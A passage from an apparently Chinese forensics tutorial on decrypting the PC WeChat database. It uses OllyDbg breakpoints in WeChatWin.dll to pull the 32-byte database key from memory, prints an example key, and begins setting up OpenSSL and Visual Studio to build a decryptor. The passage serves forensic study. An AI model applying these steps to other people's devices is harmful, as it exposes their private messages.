var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="shell"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Executable modules:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> 名称<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span>WeChatWi</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> 文件版本<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">3</span>.3.0.115</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> 路径<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span>D:\Program Files (x86)\Tencent\WeChat\WeChatWin.dll</span></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">进入后OD标题末尾处会显示 WeChatWi , 接下来点击 “插件”--&gt;“中文搜索引擎”--&gt; &#34;搜索ASCII&#34; ：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8232600732600732" data-s="300,640" style="" data-type="png" data-w="1092" src="https://wechat2rss.xlab.app/img-proxy/?k=0adad21d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmXWF0OP8RGHlezrHQ3FVfhUBrFeGxPAesU9juTLTDoWU11UcBtNXGZA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">点击后需要等等待一会，搜索结束后会跳转到搜索结果界面：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.0779816513761468" data-s="300,640" style="" data-type="png" data-w="654" src="https://wechat2rss.xlab.app/img-proxy/?k=ec2c540c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmvu1303sianfDmvmmOkonFRr55Zia9SYwLtenmvic82cJGibVgxksRRPXtQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">搜索结果展示，在此界面右键 选择 “Find” (快捷键：Ctrl+F)：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7181434599156118" data-s="300,640" style="" data-type="png" data-w="1185" src="https://wechat2rss.xlab.app/img-proxy/?k=6a708f53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmnWC1zFQdr8NtGFVJyro1WARmZnTiafC5GG7gTs17qPhXbk1b9GpCOvQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">在搜索框中输入“DBFactory::encryptDB”：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4142857142857143" data-s="300,640" style="" data-type="png" data-w="840" src="https://wechat2rss.xlab.app/img-proxy/?k=350a99b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm0xDiaibU2MIqnibI39icV9nuNQiamd8ZOePYHQic8wANuPibMW8U3MCno0AIA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4968632371392723" data-s="300,640" style="" data-type="png" data-w="797" src="https://wechat2rss.xlab.app/img-proxy/?k=faff18bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm0PoCOibvH9lnjwmf8cDdS90NTLxVcoNCWjiaMmYenBibRMBYZMgXgSrkw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">搜索到后双击进入，会定位到“push WeChatWi .XXXXXX&#34;  这个位置，然后向下6行找到 ”test edx , edx&#34; :</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5900857959961868" data-s="300,640" style="" data-type="png" data-w="1049" src="https://wechat2rss.xlab.app/img-proxy/?k=0f22f143&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm2wuKlWnM4pfcYAiaKnlu5dF8YibXIxqR4bY3LZLXT5RnT2MbRQnlWOCQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">在“test edx,edx&#34; 这一行下断点， 直接双击本行（鼠标不要放在地址那一栏）或者 选中本行 按下快捷键 ”F2&#34; , 断点设置成功后，本行地址栏会变成红色：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6360424028268551" data-s="300,640" style="" data-type="png" data-w="1132" src="https://wechat2rss.xlab.app/img-proxy/?k=b7a18160&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmLIwvmlz9sH7f0t7SZ5wiaoibdrmpibMDKIhuhVf3Icn9seia1S5CsmCGYA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">断点设置好后，点击“</span><span data-src="电子取证之PC版微信数据库解密.assets/image-20210728214849738.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;"></span><span style="box-sizing: border-box;">”按钮（或者在调试菜单中选择“运行”，快捷键 “F9”)，这时寄存器窗口中的EDX的值应该是00000000。</span><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">切换到微信登录页面，点击登录，然后到手机端确认登录。这是OllyDbg界面中的数据不断滚动，直到EDX不再为全0并且各个窗口内容停止滚动为止。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7239896818572656" data-s="300,640" style="" data-type="png" data-w="1163" src="https://wechat2rss.xlab.app/img-proxy/?k=3d40c0f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm5lnPr7uOytJIgMrw13tIYRuHkQSD68iczuP9PJRqzL4D52at0UfIIxg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">此时断点生效了，寄存器的值也发生变化了，接下来单击选中EDX的值然后单击鼠标右键，在弹出的菜单里面选择“数据窗口中跟随”，则数据窗口中显示的就是EDX的值也就是内存地址对应的内容：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0479846449136276" data-s="300,640" style="" data-type="png" data-w="521" src="https://wechat2rss.xlab.app/img-proxy/?k=e8a6c07f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmesaMekokhsGCxoONGuPCfxp5uUu6oY6lBUHxWQRia2V4MnCiawuQk6Dw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7310774710596616" data-s="300,640" style="" data-type="png" data-w="1123" src="https://wechat2rss.xlab.app/img-proxy/?k=95b41e12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmrsREab1ibswtxPAbhALyUXSnT1zNPFibgamibp0Zh2tBtWcpYkSooVwZQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">从地址”05340DB8“ 开始选中 32 个字节,就是微信数据库的加密密码，本图中密码如下：</span><br/></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="shell"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">05340DB8  <span style="box-sizing: border-box;color: rgb(17, 102, 68);">71</span> 1A 1F FA <span style="box-sizing: border-box;color: rgb(17, 102, 68);">27</span> E6 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">41</span> D9 AB 8E 8D C0 F1 8A F9 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">66</span>  </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">05340DC8  <span style="box-sizing: border-box;color: rgb(17, 102, 68);">76</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">11</span> 6F EF <span style="box-sizing: border-box;color: rgb(17, 102, 68);">95</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">30</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">48</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">91</span> B3 9B <span style="box-sizing: border-box;color: rgb(17, 102, 68);">40</span> 9B <span style="box-sizing: border-box;color: rgb(17, 102, 68);">57</span> B1 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">35</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">00</span>  </span></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">”711A1FFA27E641D9AB8E8DC0F18AF96676116FEF95304891B39B409B57B13500”    得到这个即密码提取结束，退出OD。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">将提取到的密码转换为 </span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">0x</code></span><span style="box-sizing: border-box;"> 格式备用，如下：</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="json"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x71</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x1A</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x1F</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0xFA</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x27</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0xE6</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x41</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0xD9</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0xAB</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x8E</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x8D</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0xC0</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0xF1</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x8A</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0xF9</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x66</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x76</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x11</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x6F</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0xEF</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x95</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x30</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x48</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x91</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0xB3</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x9B</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x40</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x9B</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x57</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0xB1</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x35</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">0x00</span>}</span></pre><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">3、编译解密程序</span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">本文使用编译工具：visual studio community 2019</span></p><h4 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">3.1-配置openssl</span></h4><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">在编译前需要配置openssl  ，经过测试强制使用openssl 1.0.2r的版本，下载地址：</span><span spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.openssl.org/source/openssl-1.0.2r.tar.gz" target="_blank">https://www.openssl.org/source/openssl-1.0.2r.tar.gz</a></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">下载并解压， openssl 需要自己编译，网上教程有很多，我直接把编译后生成的文件打包：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3391003460207612" data-s="300,640" style="" data-type="png" data-w="289" src="https://wechat2rss.xlab.app/img-proxy/?k=4cb9d979&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmf6icrPvUuictpCkJCIrYHWCzFm67wCiaZU14R9KO4uBZbvufrmGvAiajmQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">将这个两个文件夹直接复制到openssl 1.0.2r 解压的目录中：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.3756345177664975" data-s="300,640" style="" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=4a82ba65&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmUkZ5zZA2Y7DcxqXbw2Rl2qREzDc707nVPAftRdmjOGb3seqMqheDDA%2F640%3Fwx_fmt%3Dpng"/></p><h4 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">3.2-配置visual studio</span><br/></h4><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">接下来配置 visual studio, 打开visual studio，选择 “创建新项目”：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5782178217821782" data-s="300,640" style="" data-type="png" data-w="1010" src="https://wechat2rss.xlab.app/img-proxy/?k=27e66d35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmJdlWEXLjpegaOqUlcIWz6M2n8lsLicxA0zSHgV77bBDWsZxqzTUqo5w%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">选择“C++ 控制台应用”：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7420042643923241" data-s="300,640" style="" data-type="png" data-w="938" src="https://wechat2rss.xlab.app/img-proxy/?k=8b35b58f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmphh3OtJo5XQedV13lgNru4Qp1iaCemyHODZz0eLbIAr5aNeH49ib3dXQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">配置项目：（名称和位置 自定义）设置好后点击创建</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6639566395663956" data-s="300,640" style="" data-type="png" data-w="738" 